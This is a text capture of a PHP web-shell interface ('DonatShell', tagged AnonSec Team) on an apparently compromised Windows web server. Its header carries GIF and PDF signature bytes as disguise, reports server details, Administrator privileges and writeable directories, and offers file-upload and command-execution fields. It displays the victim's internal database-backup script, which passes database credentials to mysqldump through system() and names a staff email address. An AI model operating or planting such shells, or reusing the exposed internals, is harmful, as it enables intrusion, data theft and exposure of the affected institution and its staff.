GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/Admin/backup/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/Admin/backup/backup.phpinc
<?
// Admin/backup/backup.phpinc
// Backup the MySql database.

// Setup variables.
if (!isset($backupFilePath)) $backupFilePath = $_SESSION['DIRECTORY_ROOT'].'db/backup/'; // The path to store the backup in.
if (!isset($backupFilename)) $backupFilename = $_SESSION['DATABASE']['database'].'_backup_'.date("Ymd_His").".sql"; // The name to give the backup file.
if (!isset($mysqlCommandPath)) $mysqlCommandPath = ''; // If mysqldump is not on the path then set the mysqlCommandPath.
#if (!isset($)) $mysqlCommandPath = 'C:/MySQL/bin/'; // If mysqldump is not on the path then set the mysqlCommandPath.
if (!isset($compressBackup)) $compressBackup = true; // If true then the file will be compressed into $backupFilename.zip.
if (!isset($compressFileName)) $compressFileName = $backupFilePath.$backupFilename.".zip"; // The name to give the compressed file.
if (!isset($compressCommand)) $compressCommand = str_replace("/","\\","compress -Z ".$backupFilePath.$backupFilename." ".$compressFileName.">nul"); // The compression command.
if (!isset($deleteUncompressed)) $deleteUncompressed = true; // Delete the backupFilename after compression.
if (!isset($emailbackup)) $emailbackup = true; // If true then the backup will be sent to the email address in $emailTo.
if (!isset($emailTo)) $emailTo = 'jim.martinson@ridgewater.edu'; // The email address to email the backup to.
if (!isset($FTPbackup)) $FTPbackup = true; // If true then the backup will be FTPed to the address in $FTPhost.
if (!isset($FTPhost)) $FTPhost = ''; // The hostname of the FTP server.
if (!isset($FTPusername)) $FTPusername = ''; // The FTP username.
if (!isset($FTPpassword)) $FTPpassword = ''; // The FTP password
if (!isset($FTPpath)) $FTPpath = ''; // The path to FTP the backup to.

setDebugOn();
$f_message = '';
$f_error = false;
// Verify that the backup path exists.
$backupFound = file_exists($backupFilePath);
if ($backupFound) {
	$backupCommand = $mysqlCommandPath.'mysqldump --add-drop-table --opt --user='.$_SESSION['DATABASE']['username'].' --password='.$_SESSION['DATABASE']['password'].' '.$_SESSION['DATABASE']['database'].' > '.$backupFilePath.$backupFilename;
	if ($_SESSION['DEBUG'] || $debugOn) {
		#printVar('$backupFilePath',$backupFilePath);
		#printVar('$backupFilename',$backupFilename);
		#printVar('$mysqlCommandPath',$mysqlCommandPath);
		#printVar('$backupCommand',$backupCommand);
	}
	// Perform backup.
	system($backupCommand);
} else {
		$f_message .= "<b style=\"color:red;\">The path to store the backup ($backupFilePath) does not exist.</b><br>\n";
}

$backupFound = file_exists($backupFilePath.$backupFilename);
if ($backupFound) {
	// The backup file exits. Ensure it contains data.
	$backupFound = filesize($backupFilePath.$backupFilename);
	if (!$backupFound) {
		$f_message .= "<b style=\"color:red;\">The backup is empty.</b><br>\n";
	}
}

if ($backupFound) {
	// The backup succeeded.
	$f_message .= "<b style=\"color:green;\">Backup of database succeeded.</b><br>\n";
	if ($compressBackup) {
		// Compress the backup file. This requires that the Windows Server 2003 Resource Kit Tools are installed on a Windows 2003 server.
		if ($debugOn) {
			#printVar('$compressFileName',$compressFileName);
			#printVar('$compressCommand',$compressCommand);
		}
		system($compressCommand);
		# Test of Helpdesk.mdb backup.
		#$compressCommand = str_replace("/","\\","compress -D -Z ".$_SESSION['DIRECTORY_ROOT'].'db/Helpdesk.mdb '.$compressFileName.">nul"); // The compression command.
		#system($compressCommand);
		$compressFound = file_exists($backupFilePath.$backupFilename.".zip");
		if ($compressFound) {
			// The compress succeeded.
			$f_message .= "<b style=\"color:green;\">Compression of database succeeded.</b><br>\n";
			if ($deleteUncompressed) {
				// Delete the uncompressed file.
				if(unlink($backupFilePath.$backupFilename)) {
					$f_message .= "<b style=\"color:green;\">Uncompressed backup deleted.</b><br>\n";
				} else {
					$f_message .= "<b style=\"color:red;\">Uncompressed backup could not be deleted.</b><br>\n";
					$f_error = true;
				}
			}
		} else {
			// The compress failed.
			$f_message .= "<b style=\"color:red;\">Compression of backup failed.</b><br>\n";
			$f_error = true;
		}
	}
	// Check if email of backup requested.
	if ($emailbackup) {
		// Send email.
		if ($emailTo != '') {
			require("email/class.phpmailer.php");
			$mail->From = "cst@ridgewater.edu";
			$mail->FromName = "CST website";
			$mail->AddAddress($emailTo);
			$mail->Subject = "Database backup ".currentDateTime();
			$mail->Body    = "<b>Attached should be the database backup!</b>";
			if (!$compressBackup) {
				$attachmentFileName = $backupFilePath.$backupFilename;
			} else {
				$attachmentFileName = $compressFileName;
			}

			#printVar('$attachmentFileName',$attachmentFileName);
			$mail->AddAttachment($attachmentFileName);
			include('email/sendEmail.phpinc');
			$f_message .= "<b style=\"color:green;\">Backup emailed to $emailTo.</b><br>\n";
			/*
      * @param string $path Path to the attachment.
      * @param string $name Overrides the attachment name.
      * @param string $encoding File encoding (see $Encoding).
      * @param string $type File extension (MIME) type.
      * @return bool
      function AddAttachment($path, $name = "", $encoding = "base64", 
                           $type = "application/octet-stream") {
     */
		} else {
			$f_message .= "<b style=\"color:red;\">The \$emailTo variable is null.</b><br>\n";
		}
	}
} else {
	// The backup failed.
	$f_message .= "<b style=\"color:red;\">Backup of database failed.</b><br>\n";
	$f_error = true;
}
if ($debugOn) {
	#printVar('$f_error',$f_error);
}

/* * /
// Restore database.
$restoreCommand = $mysqlCommandPath.'mysql --user='.$_SESSION['DATABASE']['username'].' --password='.$_SESSION['DATABASE']['password'].' '.$_SESSION['DATABASE']['database'].' < '.$backupFilePath.$backupFilename;
echo "<b>\$restoreCommand=",$restoreCommand,"</b>: ",basename(__FILE__),": ",__LINE__,"<br>\n";
#system($restoreCommand);
/* */
?>

Anon7 - 2022
AnonSec Team